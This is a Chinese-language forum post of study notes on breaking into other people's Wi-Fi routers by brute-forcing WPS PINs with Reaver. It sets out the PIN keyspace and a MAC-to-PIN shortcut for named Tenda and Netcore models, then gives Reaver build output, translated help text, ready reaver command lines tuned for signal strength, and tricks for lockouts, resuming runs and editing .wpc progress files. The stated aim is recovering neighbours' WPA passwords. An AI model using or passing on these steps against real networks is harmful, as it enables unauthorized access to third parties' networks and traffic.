|
都是自己学习PIN时的一些东西，希望对大家有点帮助 无线破解现状 1、老路由没有pin功能，并且设置wpa15位以上长密码的。 缺点：这类路由破解需要抓包跑字典，基本无解； 2、WEP加密的新旧款无线路由基本百分百能解出密码。 缺点：WEP越来越少 3、近两年新款无线支持pin码的路由，基本百分百能破解密码和pin码。 优点：WPA、WPA2被授予无法破解的神话，这个神话终于被pin破解打破，基本上这两年的新款路由都支持pin功能 无线路由pin码一共11000组数字组成前四位是0000~9999，后三位是000~999，最后以为是0~9.这样就可以肯定不管对方路由设置的是什么密码，都逃不过这11000组数字。只要他支持pin功能我们就可以百分百的破解出对方路由的pin码和设置的wpa密码（密码以明文方式显示） 缺点：这种破解只能针对近两年的新路由，就是软件搜到后面显示wps名称的路由。老路由不支持pin功能只有继续使用原始方式破解。并且pin的过程中容易出现把对方路由端口堵死（堵死后必须等待对方重启路由才能继续完成破解） 破解时间较长几分钟~几小时 关于WPS From: http://baike.baidu.com/view/4543635.htm WPS是一项非专有的规范，它是由Wi-Fi联盟实施的认证项目。 WPS是Wi-Fi认证产品的可选认证项目。 并非所有的Wi-Fi认证产品都支持WPS，用户可在产品上寻找Wi-Fi Protected Setup 的标志，以确保所购产品已具备 Wi-Fi Protected Setup功能。已通过Wi-Fi Protected Setup 的产品目前能够为用户提供两种安装解决方案： 输入PIN码――对于WPS认证的设备为强制配置。 按钮配置（PBC）――它可以是设备上的硬件按钮或软件模拟的按钮（对于无线客户端为可选配置）。在PIN配置模式中，系统在接入点或无线路由器中设置注册表，用户通过在注册表中输入客户端PIN码为网络中新增设备分配证书（注意：在PBC模式中，当客户端PIN码为全0时，系统也需要设置注册表）。 WPS并没有新增安全性能――它使得现有的安全技术更容易配置。 PIN计算新突破：部分无线路由可直接由MAC计算出默认PIN 近日，腾达部分以MAC为“C83A35”，“00B00C”打头的，包含腾达W150M在内的产品以及 磊科NW705P， 磊科NW705S， 磊科NW705+， 磊科NW714， 磊科NW702， 磊科NW712， 磊科NW709 等产品相继泄露出PIN算法。 如果您的路由MAC前6位是C83A35或者00B00C，输入后六位MAC，您可以直接获取到PIN密钥 其PIN算法十分简陋，只需要将相应前6位MAC开头的产品的后6位16进制MAC转化成10进制数，即可得到一个7位数字。众所周知的是，PIN由8位构成，其前7位为随机，而第八位为校验位，可通过前七位计算得来。从而直接由MAC获取出PIN，并通过Reaver获取其WPA PSK密钥，从而快速破解路由。 根据IEEE标准数据库信息，C83A35和00B00C均属于腾达科技旗下的OUI地址，此次受影响的路由包括但不限于腾达W150M等腾达型号的，具备QSS/WPS连接功能的路由。 WiFiBETA预测，磊科官方全线产品均采用这种简单的，不安全的，非随机的PIN生成方案。其官方网站声明提到，受影响的产品为本文文初所罗列，其相关升级软件（初步估计为固件或PIN重烧录工具）正在开发中。而腾达中有部分产品，其OUI为C83A35,00B00C,081075等的路由均亦采用此类算法。值得一提的是，腾达官方并未做出任何证明回应。 关于Reaver reaver-wps Brute force attack against Wifi Protected Setup Homepage: http://code.google.com/p/reaver-wps/ On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase. douglas@pentest:~/pentest/wireless/reaver-1.4/src$ ./configure checking for gcc... gcc checking whether the C compiler works... yes checking for C compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for gcc option to accept ISO C89... none needed checking for pcap_open_live in -lpcap... no error: pcap library not found! sudo apt-get install libpcap0.8-dev xxxxxx@pentest:~/pentest/wireless/reaver-1.4/src$ ./reaver Reaver v1.4 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <http://forum./mailto:cheffner@tacnetsol.com> Required Arguments: 必选参数 -i, --interface=<wlan> Name of the monitor-mode interface to use 使用到的监控模式的接口的名字 -b, --bssid=<mac> BSSID of the target AP 目标AP的BSSID Optional Arguments: 可选参数 -m, --mac=<mac> MAC of the host system 主机系统的MAD地址 -e, --essid=<ssid> ESSID of the target AP 目标AP的ESSID -c, --channel=<channel> Set the 802.11 channel for the interface (implies -f) 设置802.11 频道的接口 意味着-f -o, --out-file=<file> Send output to a log file [stdout] 发送输出到一个log文件(标准输出) -s, --session=<file> Restore a previous session file 恢复以前的会话文件 -C, --exec=<command> Execute the supplied command upon successful pin recovery 在pin成功回复后执行如下命令 -D, --daemonize Daemonize reaver 守护进程 -a, --auto Auto detect the best advanced options for the target AP 自动检测目标AP最好的高级选项 -f, --fixed Disable channel hopping 禁用频道跳频 -5, --5ghz Use 5GHz 802.11 channels 使用5GHz 802.11 频道 -v, --verbose Display non-critical warnings (-vv for more) 显示非严重警告(vv更多) verbose 详细 -q, --quiet Only display critical messages 安静 仅显示关键消息 -h, --help Show help 显示帮助 Advanced Options: 高级选项 -p, --pin=<wps pin> Use the specified 4 or 8 digit WPS pin 使用指定的4个或8个数字WPS pin -d, --delay=<seconds> Set the delay between pin attempts [1] 设置延迟之后的尝试 -l, --lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60] 设置时间等待，如果AP锁定WPS pin尝试 -g, --max-attempts=<num> Quit after num pin attempts 数字pin尝试后退出 -x, --fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0] 设置睡眠时间在10次意外失败之后 -r, --recurring-delay=<x:y> Sleep for y seconds every x pin attempts 睡眠Y秒后尝试x pin -t, --timeout=<seconds> Set the receive timeout period [5] 设置超时周期 -T, --m57-timeout=<seconds> Set the M5/M7 timeout period [0.20] 设置M5/M7超时周期 -A, --no-associate Do not associate with the AP (association must be done by another application) 不关联到AP 使用另外的程序关联 -N, --no-nacks Do not send NACK messages when out of order packets are received 当乱序数据包被接收时，不发送NACK消息 -S, --dh-small Use small DH keys to improve crack speed 使用小DH密钥来提高破解速度 -L, --ignore-locks Ignore locked state reported by the target AP 忽略报告为锁定状态的AP -E, --eap-terminate Terminate each WPS session with an EAP FAIL packet 使用一个EAP FAIL包来终止灭个WPS会话 -n, --nack Target AP always sends a NACK [Auto] 总是发送一个NACK到目标AP -w, --win7 Mimic a Windows 7 registrar [False] 模仿Windows 7 登记 Example: 例如 ./reaver -i mon0 -b 00:90:4C:C1:AC:21 -vv Reaver的一些技巧 使用PIN方法破解WPA-PSK密码有一个限制，就是AP必须开启了QSS、WPS功能！ 使用airodump-ng扫描时候在MB栏中54e后面有点(.)的是开了wps。但是这个要多试几次才准。可以先用Qss软件测试一下 或者在win7下面，连接AP时候在密码输入框下面有“通过按路由器按钮也可以连接”字样也是开启了QSS、wps的。 关于信号 PIN破密对信号要求极为严格，如果信号稍差，可能导致破密进度变慢或者路由死锁等（重复同一个PIN码 或 timeout）。AP关闭了WPS、或者没有QSS滴，会出现 WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX) PWR 小于 -75 基本上会Timeout, PWR-60左右,则非常顺畅(2-6秒攻击一次) 目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1 目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1 目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1 关于死循环 当出现的时候 [+] Sending EAPOL START request [!] WARNING: Receive timeout occurred [+] Sending EAPOL START request [!] WARNING: Receive timeout occurred [+] Sending EAPOL START request [!] WARNING: Receive timeout occurred [+] Sending EAPOL START request [!] WARNING: Receive timeout occurred [+] Sending EAPOL START request 按Ctrl +C 停止，然后使用 reaver -i mon0 -b mac地址 -a -S -vv -s /root/e234567890bc.wpc 继续跑 当reaver确定前4位PIN密码后，其工作完成任务进度数值将直接跳跃至90.9%以上，也就是说只剩余一千个密码组合了。总共一万一千个密码。 如果，90.9%进程后死机或停机，请记下PIN前四位数，用指令：reaver -i mon0 -b MAC -a -vv -p XXXX(PIN前四位数)会从指定PIN段起破密。 如果进度到99.9%后，AP死机，可打开它，总共1000个3位数，找出剩余的十几个PIN码，用QSS、WPS客户端软件,手动测试、破密。 如果是跑了99.99%死机, 意味吗？ 你懂的吧？ 最后一个PIN就是。 指定PIN码，获得WPA 密码PSK reaver -i mon0 -b MAC -p 8位数PIN值 如果上述措施不后，仍不见PSK密码，可能因软件原因，漏码了！重新跑后三位数 [+] Trying pin 02835679 [+] Sending EAPOL START request [+] Received identity request [+] Sending identity response [+] Received M1 message [+] Sending M2 message [+] Received M3 message [+] Sending M4 message [+] Received WSC NACK =================== 正常情况下在M4后，会收到WSC NACK包。这是就知道当前的0283是错误的。然后开始试下一个pin. 缺省情况下，如果在M4后没有收到任何包，等待超时后，也会认为当前的pin是错误的，然后开始试下一个pin. 如果是因为丢包的原因，没有收到M5包，显然正确的pin就会当作错误的pin.因此就会出现99.99%的问题。 解决办法: 加上-n 参数 reaver -vvnS -d 0 -b xxxx 注意：reaver 会为每个AP创建一个pin序列文件,这个文件存放在 /etc/reaver/ 或/usr/local/etc/reaver, 根据reaver的帮助，reaver缺省情况下会自动检查AP是否回应NACK.因此不需要加-n参数才对。 我看了一下代码，这确实是一个bug. 但是通过加-n参数，可以绕过这个bug. 死循环 当你看到PIN到一定程度，窗口里的PIN码不变、进度百分比也不走，那么恭喜你碰到死循环了。 保持原窗口不变，再打开一个shell，然后执行 reaver -i mon0 -b 正在PIN的MAC -a -s -vv 一般人执行的命令都是MAC 后跟的后缀都是 -vv -a -S，然而，殊不知，这样的后缀虽然可以加快速度，但是，也有可能会错过正确前四位的确认。所以，不放过每一次确认信息的命令是 reaver -i mon0 -b MAC -v -a -n 还可以加一个 -c wpc文件结构 将mac地址.wpc 备份，下次可以继续使用。 wpc结构 0 //这个地方是说它的前4位PIN码的进度位置数 0 //这个地方是说后3位PIN数的已经运行测试位置数 0 //0时没有找到，当为1时找到前四位，当为2时全部找到。 1234 0123 1111 2222 3333 ....... ....... 9999 001 002 003 ..... ..... 999 所以前四位很重要，将已经知道的前四们放在最前面会提高你的PIN速度，我们也可以手动修改wpc文件第一行，如我们要从3000开始pin你可以将它修改为3004,这样它就会从3000开始PIN了。当我们在PIN时就可以不用保存虚拟机快照了，只要你记住了前四位，你下载用软件修改WPC文件就可了。cdlinux对wpc文件最方便，beini和xiaopan对wpc修改要用命令vi来修改，vi的使用方法很简单vi XXXX.wpc 打开就可以了，输入i进行编辑，escap退回命令模式，输入:wq退出保存。 |
|
|
